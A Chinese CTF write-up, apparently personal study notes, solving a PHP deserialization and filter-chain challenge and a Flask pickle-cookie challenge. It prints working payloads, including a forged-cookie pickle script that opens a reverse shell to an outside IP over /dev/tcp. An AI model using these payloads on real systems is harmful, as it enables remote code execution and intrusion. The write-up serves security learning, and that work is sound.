wp 8.29第一次 文件打开cmd
输入命令行,一开始忘记开梯子了,拉不下下来报错了还
访问http://localhost:9292/,就能看到题目了
粗略一看过去是反序列化题
漏洞利用链
C->__destruct->B->__toString->A->readflag()
$ser = serialize(new C($_GET['c']));
这个应该是字符串逃逸进去,\0会被替换成00,为字符串增多逃逸,给str赋值
C->str=B
1 2 hnu1=]]]]]]]]]]]]]][HnuCTF] $this ->b = [new A (), "readflag" ];
在phpstrom试了半天,我说怎么输出不出来flag,flag文件留着,里面内容被我删了,西巴。
感觉readflag那里要用一句话木马
序列化用的是双引号,PHP 使用单引号时 \0无法被转义,并且在序列化中 s 不能识别十六进制字符,因此需要将 s 改为 S,十六进制的\00即可实现绕过
需要逃逸进去的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php highlight_file ( __FILE__ );error_reporting (0 );class A { public $key ; public function __construct ( ) { $this ->key = "\0key\0" ; } public function readflag ( ) { if ($this ->key=== "\0key\0" ){; } } } class B { public $b ; public function __construct ( ) { $this ->b = [new A (), "readflag" ]; } public function __tostring ( ) { return ($this ->b) (); } } class C { public $s ; public $str ; public function __construct ( ) { $this ->s = '' ; $this ->str = new B (); } public function __destruct ( ) { echo $this ->str; } } $a =new C ();$b = serialize ($a );echo $b ;
1 ";s:3:" str";O:1:" B":1:{s:1:" b";a:2:{i:0;O:1:" A":1:{s:3:" key";s:5:" \0 key\0 ";}i:1;s:8:" readflag";}}}
我是菜狗,没写出来
咨询了GBK,最后是利用这个filterchain,伪协议落地一个代码,找了个工具,但是不知道为什么没出。
后续听了徐神的讲课,也是找到原因了,我们的目的是往里面写文件,把php命令落地,工具是作者根据自己当时的题目写出来的,没有灵活使用。
知识总结 逃逸部分 php特性,可以通过数组的方式动态调用其他类内的方法,$this->b = [new A(), “readflag”];这里就是利用这个漏洞原理。
mb_substr和mb_strpos解析差异引起的漏洞 substrstr($_GET['hnu1']."[welcome to". $_GET['hnu']."CTF]");
方法一:
通过代码解析上面的substrstr函数,利用数学的方法实现hnu1=]]]]]]]]]]]]]][HnuCTF]
方法二:
mb_substr是按字来切分字符,而mb_strcut是按字节来切分字符,利用这一点,我们也可以进行构造
1 2 $hnu1 = "\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa" ;$hnu = "Hnu" ;
filterchain 1 2 3 $a = $_POST [1 ]; $contents = file_get_contents ($a ); file_put_contents ($a , $contents );
这个代码的解读,首先把a里面的内容给读出来,赋给contents,又把contents写入a里面,实际上我们什么也没有做,需要利用的是filterchain,通过一些列的构造我们的目标命令。
参考文章:FilterChain攻击解析及利用 - Boogiepop Doesn’t Laugh
直接利用工具生成
filer伪协议的write和read
1 2 3 $contents = file_get_contents ("php://filter/read=convert.base64-encode/resource=a.php" );echo $contents ;file_put_contents ("php://filter/write=convert.base64-encode/resource=a.php" ,$contents );
在file_put_contents使用write会被二次编码写入
当两个用的都是read
可以看到并没有被二次编码,成功保留格式写入进去了
都用write的话,我们可以看到,是可以原样读出的。
最终payload
1 2 GET:?c=%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %22 %3 Bs%3 A3%3 A%22 str%22 %3 BO%3 A1%3 A%22 B%22 %3 A1%3 A%7 Bs%3 A1%3 A%22 b%22 %3 Ba%3 A2%3 A%7 Bi%3 A0%3 BO%3 A1%3 A%22 A%22 %3 A1%3 A%7 Bs%3 A3%3 A%22 key%22 %3 BS%3 A5%3 A%22 %5 C%00 key%5 C%00 %22 %3 B%7 Di%3 A1%3 Bs%3 A8%3 A%22 readflag%22 %3 B%7 D%7 D%7 D&hnu1=]]]]]]]]]]]]]][HnuCTF] POST:1 =php:
9.9第二次 任意文件读取 /proc/self/cmdline,/proc/1/cmdline,直接访问docker的配置文件
pickle反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import os import random from config.secret_key import secret_codefrom flask import Flask, make_response, request, render_templatefrom cookie import set_cookie, cookie_check, get_cookieimport pickle app = Flask (__name__) app.secret_key = random.randbytes (16 ) class UserData : def __init__ (self , username ): self .username = username def waf (data ): blacklist = [b 'R ', b 'secret ', b 'eval ', b 'file ', b 'compile ', b 'open ', b 'os .popen '] for word in blacklist : if word .lower () in data .lower (): return True return False @app .route ("/", methods =['GET ']) def index (): return render_template ('index .html ') @app .route ("/lyrics ", methods =['GET ']) def lyrics (): resp = make_response () resp .headers ["Content -Type "] = 'text /plain ; charset =UTF -8' query = request .args .get ("lyrics ") path = os .path .join (os .getcwd (), "lyrics ", query ) try : with open (path , 'r ') as f : res = f .read () except FileNotFoundError : return "No lyrics found " except Exception as e : return f "Error : {str (e)}" return res @app.route(" /login", methods=['POST', 'GET']) def login(): if request.method == 'POST': username = request.form[" username"] user = UserData(username) res = {" username": user.username} return set_cookie(" user", res, secret=secret_code) return render_template('login.html') @app.route(" /board", methods=['GET']) def board(): if cookie_check(" user", secret=secret_code): return " Nope, invalid code get out!" data = get_cookie(" user", secret=secret_code) if isinstance(data, bytes): data = pickle.loads(data) if not isinstance(data, dict) or " username" not in data: return render_template('user.html', name=" guest") if data[" username"] == " admin": return render_template('admin.html', name=data[" username"]) else: return render_template('user.html', name=data[" username"]) if __name__ == " __main__": os.chdir(os.path.dirname(__file__)) app.run(host=" 0.0 .0.0 ", port=9292)
通过import可以找到密钥的位置
1 2 /app/config/secret_key.py secret_code = "EnjoyThePlayTime123456"
可以读取到加密算法
1 2 3 4 5 6 7 8 9 def waf (data): blacklist = [b'R' , b'secret' , b'eval' , b'file' , b'compile' , b'open' , b'os.popen' ] valid = False for word in blacklist: if word in data: valid = True break return valid
我们可以看到并不是由app.py触发的,从login路由触发set_cookie
把我们的命令加密,抓包替换/board的参数,反弹shell绕waf即可,在环境变量里面面可以看到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import base64 import hashlib import hmac import pickle unicode = str basestring = str secret_code = "EnjoyThePlayTime123456" def cookie_encode (data, key): msg = base64.b64encode (payload.encode ()) sig = base64.b64encode (hmac.new (tob (key), msg, digestmod=hashlib.md5).digest ()) return tob ('!' ) + sig + tob ('?' ) + msg def tob (s, enc='utf8' ): return s.encode (enc) if isinstance (s, unicode) else bytes (s) payload = '' '(S' bash -c "/bin/sh -i >& /dev/tcp/198.23.148.51/7777 0>&1" ' ios system .' '' print (cookie_encode (payload,secret_code))
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/bw3m4dlpd2v2gduu 语雀文档ID: 184541772